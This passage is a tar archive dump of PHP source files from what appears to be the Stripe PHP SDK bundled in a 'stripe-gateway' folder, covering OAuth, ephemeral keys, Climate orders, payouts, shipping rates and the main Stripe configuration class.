static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/OAuth.php������������������������������������������������������������������������0000644�����������������00000006646�14720677707�0012045 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; abstract class OAuth { /** * Generates a URL to Stripe's OAuth form. * * @param null|array $params * @param null|array $opts * * @return string the URL to Stripe's OAuth form */ public static function authorizeUrl($params = null, $opts = null) { $params = $params ?: []; $base = ($opts && \array_key_exists('connect_base', $opts)) ? $opts['connect_base'] : Stripe::$connectBase; $params['client_id'] = self::_getClientId($params); if (!\array_key_exists('response_type', $params)) { $params['response_type'] = 'code'; } $query = Util\Util::encodeParameters($params); return $base . '/oauth/authorize?' . $query; } /** * Use an authoriztion code to connect an account to your platform and * fetch the user's credentials. * * @param null|array $params * @param null|array $opts * * @throws \Stripe\Exception\OAuth\OAuthErrorException if the request fails * * @return StripeObject object containing the response from the API */ public static function token($params = null, $opts = null) { $base = ($opts && \array_key_exists('connect_base', $opts)) ? $opts['connect_base'] : Stripe::$connectBase; $requestor = new ApiRequestor(null, $base); list($response, $apiKey) = $requestor->request( 'post', '/oauth/token', $params, null ); return Util\Util::convertToStripeObject($response->json, $opts); } /** * Disconnects an account from your platform. * * @param null|array $params * @param null|array $opts * * @throws \Stripe\Exception\OAuth\OAuthErrorException if the request fails * * @return StripeObject object containing the response from the API */ public static function deauthorize($params = null, $opts = null) { $params = $params ?: []; $base = ($opts && \array_key_exists('connect_base', $opts)) ? $opts['connect_base'] : Stripe::$connectBase; $requestor = new ApiRequestor(null, $base); $params['client_id'] = self::_getClientId($params); list($response, $apiKey) = $requestor->request( 'post', '/oauth/deauthorize', $params, null ); return Util\Util::convertToStripeObject($response->json, $opts); } private static function _getClientId($params = null) { $clientId = ($params && \array_key_exists('client_id', $params)) ? $params['client_id'] : null; if (null === $clientId) { $clientId = Stripe::getClientId(); } if (null === $clientId) { $msg = 'No client_id provided. (HINT: set your client_id using ' . '"Stripe::setClientId(<CLIENT-ID>)". You can find your client_ids ' . 'in your Stripe dashboard at ' . 'https://dashboard.stripe.com/account/applications/settings, ' . 'after registering your account as a platform. See ' . 'https://stripe.com/docs/connect/standard-accounts for details, ' . 'or email support@stripe.com if you have any questions.'; throw new Exception\AuthenticationException($msg); } return $clientId; } } ������������������������������������������������������������������������������������������stripe-gateway/lib/EphemeralKey.php�����������������������������������������������������������������0000644�����������������00000004110�14720677707�0013360 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property int $expires Time at which the key will expire. Measured in seconds since the Unix epoch. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|string $secret The key's secret. You can use this value to make authorized requests to the Stripe API. */ class EphemeralKey extends ApiResource { const OBJECT_NAME = 'ephemeral_key'; /** * Invalidates a short-lived API key for a given resource. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\EphemeralKey the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } use ApiOperations\Create { create as protected _create; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\InvalidArgumentException if stripe_version is missing * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\EphemeralKey the created key */ public static function create($params = null, $opts = null) { if (!$opts || !isset($opts['stripe_version'])) { throw new Exception\InvalidArgumentException('stripe_version must be specified to create an ephemeral key'); } return self::_create($params, $opts); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/FundingInstructions.php����������������������������������������������������������0000644�����������������00000002554�14720677707�0015036 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Each customer has a <a href="https://stripe.com/docs/api/customers/object#customer_object-balance"><code>balance</code></a> that is * automatically applied to future invoices and payments using the <code>customer_balance</code> payment method. * Customers can fund this balance by initiating a bank transfer to any account in the * <code>financial_addresses</code> field. * Related guide: <a href="https://stripe.com/docs/payments/customer-balance/funding-instructions">Customer balance funding instructions</a>. * * @property string $object String representing the object's type. Objects of the same type share the same value. * @property \Stripe\StripeObject $bank_transfer * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property string $funding_type The <code>funding_type</code> of the returned instructions * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. */ class FundingInstructions extends ApiResource { const OBJECT_NAME = 'funding_instructions'; const FUNDING_TYPE_BANK_TRANSFER = 'bank_transfer'; } ����������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/ConnectCollectionTransfer.php����������������������������������������������������0000644�����������������00000001625�14720677707�0016127 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Amount transferred, in cents (or local equivalent). * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property string|\Stripe\Account $destination ID of the account that funds are being collected for. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. */ class ConnectCollectionTransfer extends ApiResource { const OBJECT_NAME = 'connect_collection_transfer'; } �����������������������������������������������������������������������������������������������������������stripe-gateway/lib/Climate/Supplier.php�������������������������������������������������������������0000644�����������������00000004216�14720677707�0014175 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Climate; /** * A supplier of carbon removal. * * @property string $id Unique identifier for the object. * @property string $object String representing the object’s type. Objects of the same type share the same value. * @property string $info_url Link to a webpage to learn more about the supplier. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject[] $locations The locations in which this supplier operates. * @property string $name Name of this carbon removal supplier. * @property string $removal_pathway The scientific pathway used for carbon removal. */ class Supplier extends \Stripe\ApiResource { const OBJECT_NAME = 'climate.supplier'; const REMOVAL_PATHWAY_BIOMASS_CARBON_REMOVAL_AND_STORAGE = 'biomass_carbon_removal_and_storage'; const REMOVAL_PATHWAY_DIRECT_AIR_CAPTURE = 'direct_air_capture'; const REMOVAL_PATHWAY_ENHANCED_WEATHERING = 'enhanced_weathering'; /** * Lists all available Climate supplier objects. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Climate\Supplier> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a Climate supplier object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Climate\Supplier */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Climate/Order.php����������������������������������������������������������������0000644�����������������00000014771�14720677707�0013454 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Climate; /** * Orders represent your intent to purchase a particular Climate product. When you create an order, the * payment is deducted from your merchant balance. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount_fees Total amount of <a href="https://frontierclimate.com/">Frontier</a>'s service fees in the currency's smallest unit. * @property int $amount_subtotal Total amount of the carbon removal in the currency's smallest unit. * @property int $amount_total Total amount of the order including fees in the currency's smallest unit. * @property null|\Stripe\StripeObject $beneficiary * @property null|int $canceled_at Time at which the order was canceled. Measured in seconds since the Unix epoch. * @property null|string $cancellation_reason Reason for the cancellation of this order. * @property null|string $certificate For delivered orders, a URL to a delivery certificate for the order. * @property null|int $confirmed_at Time at which the order was confirmed. Measured in seconds since the Unix epoch. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase, representing the currency for this order. * @property null|int $delayed_at Time at which the order's expected_delivery_year was delayed. Measured in seconds since the Unix epoch. * @property null|int $delivered_at Time at which the order was delivered. Measured in seconds since the Unix epoch. * @property \Stripe\StripeObject[] $delivery_details Details about the delivery of carbon removal for this order. * @property int $expected_delivery_year The year this order is expected to be delivered. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property string $metric_tons Quantity of carbon removal that is included in this order. * @property string|\Stripe\Climate\Product $product Unique ID for the Climate <code>Product</code> this order is purchasing. * @property null|int $product_substituted_at Time at which the order's product was substituted for a different product. Measured in seconds since the Unix epoch. * @property string $status The current status of this order. */ class Order extends \Stripe\ApiResource { const OBJECT_NAME = 'climate.order'; use \Stripe\ApiOperations\Update; const CANCELLATION_REASON_EXPIRED = 'expired'; const CANCELLATION_REASON_PRODUCT_UNAVAILABLE = 'product_unavailable'; const CANCELLATION_REASON_REQUESTED = 'requested'; const STATUS_AWAITING_FUNDS = 'awaiting_funds'; const STATUS_CANCELED = 'canceled'; const STATUS_CONFIRMED = 'confirmed'; const STATUS_DELIVERED = 'delivered'; const STATUS_OPEN = 'open'; /** * Creates a Climate order object for a given Climate product. The order will be * processed immediately after creation and payment will be deducted your Stripe * balance. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Climate\Order the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Lists all Climate order objects. The orders are returned sorted by creation * date, with the most recently created orders appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Climate\Order> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of a Climate order object with the given ID. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Climate\Order */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the specified order by setting the values of the parameters passed. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Climate\Order the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Climate\Order the canceled order */ public function cancel($params = null, $opts = null) { $url = $this->instanceUrl() . '/cancel'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } �������stripe-gateway/lib/Climate/Product.php��������������������������������������������������������������0000644�����������������00000005137�14720677707�0014015 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Climate; /** * A Climate product represents a type of carbon removal unit available for reservation. * You can retrieve it to see the current price and availability. * * @property string $id Unique identifier for the object. For convenience, Climate product IDs are human-readable strings that start with <code>climsku_</code>. See <a href="https://stripe.com/docs/climate/orders/carbon-removal-inventory">carbon removal inventory</a> for a list of available carbon removal products. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property \Stripe\StripeObject $current_prices_per_metric_ton Current prices for a metric ton of carbon removal in a currency's smallest unit. * @property null|int $delivery_year The year in which the carbon removal is expected to be delivered. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $metric_tons_available The quantity of metric tons available for reservation. * @property string $name The Climate product's name. * @property \Stripe\Climate\Supplier[] $suppliers The carbon removal suppliers that fulfill orders for this Climate product. */ class Product extends \Stripe\ApiResource { const OBJECT_NAME = 'climate.product'; /** * Lists all available Climate product objects. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Climate\Product> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of a Climate product with the given ID. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Climate\Product */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Payout.php�����������������������������������������������������������������������0000644�����������������00000026337�14720677707�0012305 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * A <code>Payout</code> object is created when you receive funds from Stripe, or when you * initiate a payout to either a bank account or debit card of a <a href="/docs/connect/bank-debit-card-payouts">connected * Stripe account</a>. You can retrieve individual payouts, * and list all payouts. Payouts are made on <a href="/docs/connect/manage-payout-schedule">varying * schedules</a>, depending on your country and * industry. * * Related guide: <a href="https://stripe.com/docs/payouts">Receiving payouts</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount The amount (in cents (or local equivalent)) that transfers to your bank account or debit card. * @property null|string|\Stripe\ApplicationFee $application_fee The application fee (if any) for the payout. <a href="https://stripe.com/docs/connect/instant-payouts#monetization-and-fees">See the Connect documentation</a> for details. * @property null|int $application_fee_amount The amount of the application fee (if any) requested for the payout. <a href="https://stripe.com/docs/connect/instant-payouts#monetization-and-fees">See the Connect documentation</a> for details. * @property int $arrival_date Date that you can expect the payout to arrive in the bank. This factors in delays to account for weekends or bank holidays. * @property bool $automatic Returns <code>true</code> if the payout is created by an <a href="https://stripe.com/docs/payouts#payout-schedule">automated payout schedule</a> and <code>false</code> if it's <a href="https://stripe.com/docs/payouts#manual-payouts">requested manually</a>. * @property null|string|\Stripe\BalanceTransaction $balance_transaction ID of the balance transaction that describes the impact of this payout on your account balance. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|string $description An arbitrary string attached to the object. Often useful for displaying to users. * @property null|string|\Stripe\BankAccount|\Stripe\Card $destination ID of the bank account or card the payout is sent to. * @property null|string|\Stripe\BalanceTransaction $failure_balance_transaction If the payout fails or cancels, this is the ID of the balance transaction that reverses the initial balance transaction and returns the funds from the failed payout back in your balance. * @property null|string $failure_code Error code that provides a reason for a payout failure, if available. View our <a href="https://stripe.com/docs/api#payout_failures">list of failure codes</a>. * @property null|string $failure_message Message that provides the reason for a payout failure, if available. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property string $method The method used to send this payout, which can be <code>standard</code> or <code>instant</code>. <code>instant</code> is supported for payouts to debit cards and bank accounts in certain countries. Learn more about <a href="https://stripe.com/docs/payouts/instant-payouts-banks">bank support for Instant Payouts</a>. * @property null|string|\Stripe\Payout $original_payout If the payout reverses another, this is the ID of the original payout. * @property string $reconciliation_status If <code>completed</code>, you can use the <a href="https://stripe.com/docs/api/balance_transactions/list#balance_transaction_list-payout">Balance Transactions API</a> to list all balance transactions that are paid out in this payout. * @property null|string|\Stripe\Payout $reversed_by If the payout reverses, this is the ID of the payout that reverses this payout. * @property string $source_type The source balance this payout came from, which can be one of the following: <code>card</code>, <code>fpx</code>, or <code>bank_account</code>. * @property null|string $statement_descriptor Extra information about a payout that displays on the user's bank statement. * @property string $status Current status of the payout: <code>paid</code>, <code>pending</code>, <code>in_transit</code>, <code>canceled</code> or <code>failed</code>. A payout is <code>pending</code> until it's submitted to the bank, when it becomes <code>in_transit</code>. The status changes to <code>paid</code> if the transaction succeeds, or to <code>failed</code> or <code>canceled</code> (within 5 business days). Some payouts that fail might initially show as <code>paid</code>, then change to <code>failed</code>. * @property string $type Can be <code>bank_account</code> or <code>card</code>. */ class Payout extends ApiResource { const OBJECT_NAME = 'payout'; use ApiOperations\Update; const METHOD_INSTANT = 'instant'; const METHOD_STANDARD = 'standard'; const RECONCILIATION_STATUS_COMPLETED = 'completed'; const RECONCILIATION_STATUS_IN_PROGRESS = 'in_progress'; const RECONCILIATION_STATUS_NOT_APPLICABLE = 'not_applicable'; const STATUS_CANCELED = 'canceled'; const STATUS_FAILED = 'failed'; const STATUS_IN_TRANSIT = 'in_transit'; const STATUS_PAID = 'paid'; const STATUS_PENDING = 'pending'; const TYPE_BANK_ACCOUNT = 'bank_account'; const TYPE_CARD = 'card'; /** * To send funds to your own bank account, create a new payout object. Your <a * href="#balance">Stripe balance</a> must cover the payout amount. If it doesn’t, * you receive an “Insufficient Funds” error. * * If your API key is in test mode, money won’t actually be sent, though every * other action occurs as if you’re in live mode. * * If you create a manual payout on a Stripe account that uses multiple payment * source types, you need to specify the source type balance that the payout draws * from. The <a href="#balance_object">balance object</a> details available and * pending amounts by source type. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Payout the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of existing payouts sent to third-party bank accounts or payouts * that Stripe sent to you. The payouts return in sorted order, with the most * recently created payouts appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Payout> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an existing payout. Supply the unique payout ID from * either a payout creation request or the payout list. Stripe returns the * corresponding payout information. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Payout */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the specified payout by setting the values of the parameters you pass. * We don’t change parameters that you don’t provide. This request only accepts the * metadata as arguments. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Payout the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } const FAILURE_ACCOUNT_CLOSED = 'account_closed'; const FAILURE_ACCOUNT_FROZEN = 'account_frozen'; const FAILURE_BANK_ACCOUNT_RESTRICTED = 'bank_account_restricted'; const FAILURE_BANK_OWNERSHIP_CHANGED = 'bank_ownership_changed'; const FAILURE_COULD_NOT_PROCESS = 'could_not_process'; const FAILURE_DEBIT_NOT_AUTHORIZED = 'debit_not_authorized'; const FAILURE_DECLINED = 'declined'; const FAILURE_INCORRECT_ACCOUNT_HOLDER_ADDRESS = 'incorrect_account_holder_address'; const FAILURE_INCORRECT_ACCOUNT_HOLDER_NAME = 'incorrect_account_holder_name'; const FAILURE_INCORRECT_ACCOUNT_HOLDER_TAX_ID = 'incorrect_account_holder_tax_id'; const FAILURE_INSUFFICIENT_FUNDS = 'insufficient_funds'; const FAILURE_INVALID_ACCOUNT_NUMBER = 'invalid_account_number'; const FAILURE_INVALID_CURRENCY = 'invalid_currency'; const FAILURE_NO_ACCOUNT = 'no_account'; const FAILURE_UNSUPPORTED_CARD = 'unsupported_card'; /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Payout the canceled payout */ public function cancel($params = null, $opts = null) { $url = $this->instanceUrl() . '/cancel'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Payout the reversed payout */ public function reverse($params = null, $opts = null) { $url = $this->instanceUrl() . '/reverse'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/ShippingRate.php�����������������������������������������������������������������0000644�����������������00000011236�14720677707�0013411 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Shipping rates describe the price of shipping presented to your customers and * applied to a purchase. For more information, see <a href="https://stripe.com/docs/payments/during-payment/charge-shipping">Charge for shipping</a>. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property bool $active Whether the shipping rate can be used for new purchases. Defaults to <code>true</code>. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|\Stripe\StripeObject $delivery_estimate The estimated range for how long shipping will take, meant to be displayable to the customer. This will appear on CheckoutSessions. * @property null|string $display_name The name of the shipping rate, meant to be displayable to the customer. This will appear on CheckoutSessions. * @property null|\Stripe\StripeObject $fixed_amount * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|string $tax_behavior Specifies whether the rate is considered inclusive of taxes or exclusive of taxes. One of <code>inclusive</code>, <code>exclusive</code>, or <code>unspecified</code>. * @property null|string|\Stripe\TaxCode $tax_code A <a href="https://stripe.com/docs/tax/tax-categories">tax code</a> ID. The Shipping tax code is <code>txcd_92010001</code>. * @property string $type The type of calculation to use on the shipping rate. */ class ShippingRate extends ApiResource { const OBJECT_NAME = 'shipping_rate'; use ApiOperations\Update; const TAX_BEHAVIOR_EXCLUSIVE = 'exclusive'; const TAX_BEHAVIOR_INCLUSIVE = 'inclusive'; const TAX_BEHAVIOR_UNSPECIFIED = 'unspecified'; const TYPE_FIXED_AMOUNT = 'fixed_amount'; /** * Creates a new shipping rate object. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ShippingRate the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of your shipping rates. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\ShippingRate> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Returns the shipping rate object with the given ID. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ShippingRate */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates an existing shipping rate object. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ShippingRate the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Stripe.php�����������������������������������������������������������������������0000644�����������������00000016066�14720677707�0012270 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; /** * Class Stripe. */ class Stripe { /** @var string The Stripe API key to be used for requests. */ public static $apiKey; /** @var string The Stripe client_id to be used for Connect requests. */ public static $clientId; /** @var string The base URL for the Stripe API. */ public static $apiBase = 'https://api.stripe.com'; /** @var string The base URL for the OAuth API. */ public static $connectBase = 'https://connect.stripe.com'; /** @var string The base URL for the Stripe API uploads endpoint. */ public static $apiUploadBase = 'https://files.stripe.com'; /** @var string The version of the Stripe API to use for requests. */ public static $apiVersion = \Stripe\Util\ApiVersion::CURRENT; /** @var null|string The account ID for connected accounts requests. */ public static $accountId = null; /** @var string Path to the CA bundle used to verify SSL certificates */ public static $caBundlePath = null; /** @var bool Defaults to true. */ public static $verifySslCerts = true; /** @var array The application's information (name, version, URL) */ public static $appInfo = null; /** * @var null|Util\LoggerInterface the logger to which the library will * produce messages */ public static $logger = null; /** @var int Maximum number of request retries */ public static $maxNetworkRetries = 0; /** @var bool Whether client telemetry is enabled. Defaults to true. */ public static $enableTelemetry = true; /** @var float Maximum delay between retries, in seconds */ private static $maxNetworkRetryDelay = 2.0; /** @var float Maximum delay between retries, in seconds, that will be respected from the Stripe API */ private static $maxRetryAfter = 60.0; /** @var float Initial delay between retries, in seconds */ private static $initialNetworkRetryDelay = 0.5; const VERSION = '15.4.0'; /** * @return string the API key used for requests */ public static function getApiKey() { return self::$apiKey; } /** * @return string the client_id used for Connect requests */ public static function getClientId() { return self::$clientId; } /** * @return Util\LoggerInterface the logger to which the library will * produce messages */ public static function getLogger() { if (null === self::$logger) { return new Util\DefaultLogger(); } return self::$logger; } /** * @param \Psr\Log\LoggerInterface|Util\LoggerInterface $logger the logger to which the library * will produce messages */ public static function setLogger($logger) { self::$logger = $logger; } /** * Sets the API key to be used for requests. * * @param string $apiKey */ public static function setApiKey($apiKey) { self::$apiKey = $apiKey; } /** * Sets the client_id to be used for Connect requests. * * @param string $clientId */ public static function setClientId($clientId) { self::$clientId = $clientId; } /** * @return string the API version used for requests */ public static function getApiVersion() { return self::$apiVersion; } /** * @param string $apiVersion the API version to use for requests */ public static function setApiVersion($apiVersion) { self::$apiVersion = $apiVersion; } /** * @return string */ private static function getDefaultCABundlePath() { return \realpath(__DIR__ . '/../data/ca-certificates.crt'); } /** * @return string */ public static function getCABundlePath() { return self::$caBundlePath ?: self::getDefaultCABundlePath(); } /** * @param string $caBundlePath */ public static function setCABundlePath($caBundlePath) { self::$caBundlePath = $caBundlePath; } /** * @return bool */ public static function getVerifySslCerts() { return self::$verifySslCerts; } /** * @param bool $verify */ public static function setVerifySslCerts($verify) { self::$verifySslCerts = $verify; } /** * @return null|string The Stripe account ID for connected account * requests */ public static function getAccountId() { return self::$accountId; } /** * @param null|string $accountId the Stripe account ID to set for connected * account requests */ public static function setAccountId($accountId) { self::$accountId = $accountId; } /** * @return null|array The application's information */ public static function getAppInfo() { return self::$appInfo; } /** * @param string $appName The application's name * @param null|string $appVersion The application's version * @param null|string 